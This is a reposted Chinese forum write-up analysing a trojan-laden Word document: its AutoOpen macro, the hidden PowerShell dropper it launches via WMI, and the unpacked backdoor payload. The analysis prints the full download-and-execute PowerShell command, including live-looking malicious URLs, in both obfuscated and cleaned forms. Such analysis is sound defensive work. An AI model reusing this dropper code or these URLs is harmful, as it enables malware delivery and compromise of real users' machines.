本文为看雪论坛优秀文章
看雪论坛作者ID:阿伪
记录一下最近分析的一个样本,自己依然是个菜鸡,有很多不足,希望各位师傅提出错误我努力学习。我头发都没了,此木马发送用户信息加密,能进行远程后门访问等功能,导入函数和导出函数只有一个,大量的动态加载API。f7df4126d9ae958be542583f0da746c4097bcc33b743a7af3896a3292de52282-1571228285.docMD5:b72f31807db78e70eb2c45993dd2a4e1SHA-256:c1fff4d580677f66da1841e882d94f17bc04068df7df4126d9ae958be542583f0da746c4097bcc33b743a7af3896a3292de52282https://app.any.run/tasks/62240da8-9741-45ff-8c12-b26d704a6145/环境:VMware15、Win10 专业版、Office 365
三个模块分别为Pibafqel、Nzolhtmfybml、Xhnbvwxbzhq。Nzolhtmfybml里面是空的,其他两个里面充满类似家庭地址的注释,使用脚本删除掉后进行调试翻译,去除无用混淆,大多数都只是定义,声明的函数。Function XXX()
;这种格式表示一个函数
End Function
Sub AutoOpen()
;运行文档时候,自动运行宏
End Sub
调试后发现,在autoopen中使用过函数有Hsbahypqju()和Abiufkgnjgdiv(Kmtifafrucqb)。autopen()
Hsbahypqju()
遇到个office坑的地方,通过监视窗口只能查看前250个字符,所以最好通过Debug.Print打印变量,能看到全部字符串。Function Hsbahypqju()
On Error Resume Next
Set Dtzjcfqgj = CreateObject("winmgmts:win32_processstartup")
Dtzjcfqgj.ShowWindow = 0
Thbjfvedxuqm = "powershell -e <# https://www.microsoft.com/ #> $Eywrqrdqbmw='Rzhvtqwrc';$Jcwhciloutn = '846';$Ctyrqdpzavru='Wixhqavur';$Bpaqqzwo=$env:userprofile+'\'+$Jcwhciloutn+'.exe';$Yawfxccmy='Ezlignhvinnmt';$Tlvpwcruuo=.('new-'+'obj'+'ect') NEt.WebClIENT;$Jznyrpyuqf='http://complaintboardonline.com/wp-admin/qekr3925/*https://frazischool.com/wp-includes/ozi2y6740/*https://sagarngofoundation.com/jxc5c/q54824/*https://naturerepublickh.com/test/wvvqa9/*https://watonlight.com/wp-admin/wa31628/'."sp`LiT"('*');$Ufiwicmkrdst='Ohjtzdywhuim';foreach($Lygaeckfk in $Jznyrpyuqf){try{$Tlvpwcruuo."d`OwNLoa`D`FILE"($Lygaeckfk, $Bpaqqzwo);$Tlncrdhw='Fvsotfnt';If ((&('G'+'et-It'+'em') $Bpaqqzwo)."LE`NgtH" -ge 23622) {[Diagnostics.Process]::"s`TARt"($Bpaqqzwo);$Getujvyyonwg='Gppbzmrdhoel';break;$Cgphukmh='Hhiypojok'}}catch{}}$Pyreoccwfqy='Whyolyeyvhts'"
Set Ywlbxgbmzrxh = CreateObject("winmgmts:Win32_Process")
Finrmepurj = Ywlbxgbmzrxh.Create(Thbjfvedxuqm, Ncrmxklxbct, Dtzjcfqgj, Pxajxegluaugg)
End Function
1. 创建一个winmgmts:win32_processstartup对象,仅用于将信息传递给Win32_Process类的Create方法4. 创建winmgmts:Win32_Process对象5. 通过Win32_Process方法Creat运行字符串.-e为-EncodeCommand.powershell -e运行base64编码的字符串。Create(命令行,子进程路径,启动配置,进程od)`Abiufkgnjgdiv(Kmtifafrucqb)
将传入的字符串中的0xdc3替换为空,恢复字符串的作用。
$Eywrqrdqbmw='Rzhvtqwrc';
$Jcwhciloutn = '846';
$Ctyrqdpzavru='Wixhqavur';
$Bpaqqzwo="%userprofile%\846.exe";
$Yawfxccmy='Ezlignhvinnmt';
$Tlvpwcruuo=.('new-object') NEt.WebClIENT;
$Jznyrpyuqf='http://complaintboardonline.com/wp-admin/qekr3925/*https://frazischool.com/wp-includes/ozi2y6740/*https://sagarngofoundation.com/jxc5c/q54824/*https://naturerepublickh.com/test/wvvqa9/*https://watonlight.com/wp-admin/wa31628/'."spLiT"('*');
$Ufiwicmkrdst='Ohjtzdywhuim';
foreach($Lygaeckfk in $Jznyrpyuqf){
try{$Tlvpwcruuo."dOwNLoaDFILE"($Lygaeckfk, $Bpaqqzwo);
$Tlncrdhw='Fvsotfnt';
If ((&('Get-Item') $Bpaqqzwo)."LENgtH" -ge 23622) {
[Diagnostics.Process]::"sTARt"($Bpaqqzwo);
$Getujvyyonwg='Gppbzmrdhoel';
break;
$Cgphukmh='Hhiypojok'}
}
catch{}
}
$Pyreoccwfqy='Whyolyeyvhts'
2. 调用downloadfile方法通过用*分割好的数组的链接遍历下载文件并存储为%userprofile%\846.exe3. 如果长度大于23622,则启动846.exe程序4. 最后一个网址疑似被挂马,可能已被入侵作为传播中转站
位置: %userprofile%\846.exemd5: e83c5ba6be05ec51ae6ceb2470fcfdf3sha-1: 94b527756b6c6753822501f76f161bf64ad6974csha-256: fb0a0f10cbebefb5dbe6034c3bdfe246179e444c68a6e36c4d20232d52fc07a7(1)行为分析
根据ProcessExplorer观察程序执行大概流程.846.exe执行后会启动一个新进程 后杀掉自己,新进程名为dasmrcdasmrc.exe,地址为%LOCALAPPDATA%\dasmrcdasmrc.exe。(2)详细分析
信息收集
存在唯一的导出函数qzLgKZBqfCXorfLMeJzdKzgyvdzqwF,EntryPoint为0x00004960CIRC OLE Control DLL可能某个样本种类吧。流程分析
Winmain
通过导出表获取函数qzLgKZBqfCXorfLMeJzdKzgyvdzqwF的地址,跳转执行。导出函数 qzLgKZBqfCXorfLMeJzdKzgyvdzqwF()
获取VirtualAlloc函数地址,以使得后续能拷贝执行数据。解密数据执行
1. sub_1E0467函数通过传如对应函数hash值获取所需api地址。(((FS:[30])+0xC)+0xC)获取Ldr的地址,后面进行遍历和比较最终得到所需要的地址,参考链接放在下面了。3. 拷贝后门程序pe数据,这时候顺便去dump内存被复制的pe数据,(毕竟可能不用修复重定位(x)。得知程序入口RVA为0x1000,基地址为0x60000,所以起始地址为0x610000,块大小为D200。5. 执行新pe文件的代码段,这时候顺便dump下来pe数据。内存pe执行
5. 计算出的命令行参数和从右往左取现有命令行进行比较,如果命令相等则执行内部函数。不相等的话执行下列流程:主要功能
" class="anchor" href="#">
使用上述的命令行字符串进行调试,这时候为了方便使用之前解密后dump下来的pe数据。通过互斥量执行主要功能函数函数,等待4000ms。功能大致分布区域,通过对固定内存空间的值进行校验赋值,依次执行不同功能。
位置:%localappdata%\dasmrcdasmrc\dasmrcdasmrc.exemd5:e83c5ba6be05ec51ae6ceb2470fcfdf3sha-1:94b527756b6c6753822501f76f161bf64ad6974cfb0a0f10cbebefb5dbe6034c3bdfe246179e444c68a6e36c4d20232d52fc07a7b72f31807db78e70eb2c45993dd2a4e1e83c5ba6be05ec51ae6ceb2470fcfdf3IP
学习链接与资源
https://github.com/Xuwei98/malware-analysis/tree/master/Trojan/2019-10-18-word-pe%E6%9C%A8%E9%A9%AChttps://green-m.me/2018/04/26/find-api-adress-by-hash/https://blog.csdn.net/anda0109/article/details/50013523看雪ID:阿伪
https://bbs.pediy.com/user-779000.htm
*本文由看雪论坛 阿伪 原创,转载请注明来自看雪社区进阶安全圈,不得不读的一本书
文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458300736&idx=1&sn=993684a0c7c9ee248d86406683a91c72&chksm=b18181ca86f608dca7cdb9a557d820b7870b2620c75804a90d45c47ea664f77ec774b8d67047#rd
如有侵权请联系:admin#unsafe.sh